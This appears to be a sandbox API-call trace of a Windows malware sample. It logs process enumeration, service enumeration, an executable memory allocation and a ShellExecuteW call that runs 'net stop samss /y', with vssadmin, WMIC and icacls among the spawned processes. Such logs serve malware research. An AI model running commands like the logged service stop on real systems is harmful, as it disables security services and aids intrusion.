	[0250.074] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0250.077] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0250.079] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0250.082] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0250.389] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0250.391] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0250.393] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0250.394] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb7, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0250.396] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd7, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0250.398] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0250.400] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.402] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0250.405] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0250.407] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0250.410] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.413] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.415] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0250.417] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.420] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0250.422] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0250.424] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0250.426] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0250.799] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0250.802] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2e1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0250.804] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2e48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0250.807] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2e60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.809] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.811] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0250.813] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x310c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0250.815] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e48, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0250.817] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.820] Process32NextW (in: hSnapshot=0x76c, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0250.821] CloseHandle (hObject=0x76c) returned 1
	[0250.823] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2e5d70
	[0250.828] EnumServicesStatusW (in: hSCManager=0x2e5d70, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0250.834] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x27e0000
	[0250.835] EnumServicesStatusW (in: hSCManager=0x2e5d70, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x27e0000, cbBufSize=0x17b5, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x27e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0251.233] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0256.427] Sleep (dwMilliseconds=0x96) 
	[0257.390] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.908] Sleep (dwMilliseconds=0xc350) 
	[0268.171] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x9ac
	[0268.377] Process32FirstW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0268.379] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0268.382] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0268.385] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0268.387] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0268.389] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0268.392] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0268.394] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0268.397] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0268.400] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0268.402] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.405] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.407] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.410] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.412] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.504] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.507] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.509] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0268.511] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0268.514] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0268.516] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0268.518] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.520] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.523] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0268.525] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.528] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0268.530] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0268.532] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0268.534] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0268.536] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0268.826] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0268.828] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0268.830] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0268.833] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0268.835] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0268.838] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0268.840] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0268.843] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0268.845] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0268.848] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0268.850] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0268.853] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0268.855] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
